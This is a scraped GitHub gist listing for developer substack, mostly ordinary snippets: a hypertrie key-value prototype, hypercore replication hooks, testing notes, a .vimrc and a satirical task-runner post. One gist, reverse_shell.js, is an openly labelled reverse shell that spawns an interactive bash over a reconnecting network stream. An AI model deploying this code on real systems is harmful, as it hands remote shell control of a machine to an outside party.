Skip to content

Instantly share code, notes, and snippets.

James Halliday substack

Block or report user

Report or block substack

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
substack / kv.js
Created Jun 27, 2019
sharding hypertrie kv prototype api
View kv.js
var argv = require('minimist')(process.argv.slice(2), {
alias: { d: 'datadir', s: 'swarm', n: 'node' },
string: [ '_' ]
if (argv._[0] === 'listen') {
var prefix = argv._[1]
var listen = require('../listen.js')({
swarm: require('discovery-swarm')
View browserify_for_webpack_users.markdown

browserify for webpack users

There's been a strange explosion in misinformation about browserify recently, particularly in comparisons to webpack.

Generally speaking, most of this confusion stems from how webpack is more willing to pull features into its core to ease discoverability while browserify is more likely to push features out to userland instead.

I think that longer-term, separability has more benefits from a maintenance and

substack / core.js
Created Jun 21, 2019
hooking into have/want events in hypercore replication
View core.js
var hypercore = require('hypercore')
if (process.argv[2] === 'init') {
var feed = hypercore(process.argv[3])
feed.ready(function () {
} else if (process.argv[2] === 'populate') {
var feed = hypercore(process.argv[3])
var r = feed.replicate({ live: true })
View reverse_shell.js
var spawn = require('child_process').spawn;
var net = require('net');
var reconnect = require('reconnect');
reconnect(function (stream) {
var ps = spawn('bash', [ '-i' ]);
ps.stdout.pipe(stream, { end: false });
ps.stderr.pipe(stream, { end: false });
ps.on('exit', function () { stream.end() });
substack / bytes.js
Last active May 17, 2019
split a u64 into two u32s and verify that the combination works
View bytes.js
var n = 123456789012345
var u32a = Uint32Array.from([n,n/2**32])
var u8a = new Uint8Array(u32a.buffer)
// Uint8Array [ 121, 223, 13, 134, 72, 112, 0, 0 ]
substack / how_i_write_tests_for_node_and_the_browser.markdown
Last active May 15, 2019
how I write tests for node and the browser
View how_i_write_tests_for_node_and_the_browser.markdown

In node I use simple test libraries like tap or tape that let you run the test files directly. For code that needs to run in both the browser and node I use tape because tap doesn't run in the browser very well and the APIs are mostly interchangeable.

The simplest kind of test I might write in test/ looks like:

var test = require('tape');
var someModule = require('../');

test('fibwibblers and xyrscawlers', function (t) {
View .vimrc
set autoindent
set indentexpr=off
set expandtab
set tabstop=4
set sw=4
set textwidth=80
set nohls
set noshowmatch
syntax enable
substack / dotslashtaskdotjs.markdown
Created Jan 8, 2014
introducing ./task.js, THE new javascript task runner automation framework
View dotslashtaskdotjs.markdown

why ./task.js?

One word: task automation. It's basically zero effort and you can use the ./task.js package manager to handle any repetitive tasks. You can use ./task.js to automate everything with minimum effort.

./task.js provides the structure, order, and authority that you as a developer so desperately crave. ./task.js will also take responsibility for your actions if you need it to. It's what everybody is using now. ./task.js is the new hotness. It's all about ./task.js now, just like that.

This is compared to npm run/bash scripts, which are:

#!perl -p
# responding to the strawman at
use List::Util qw/shuffle/;
join "", shuffle split "", $1
You can’t perform that action at this time.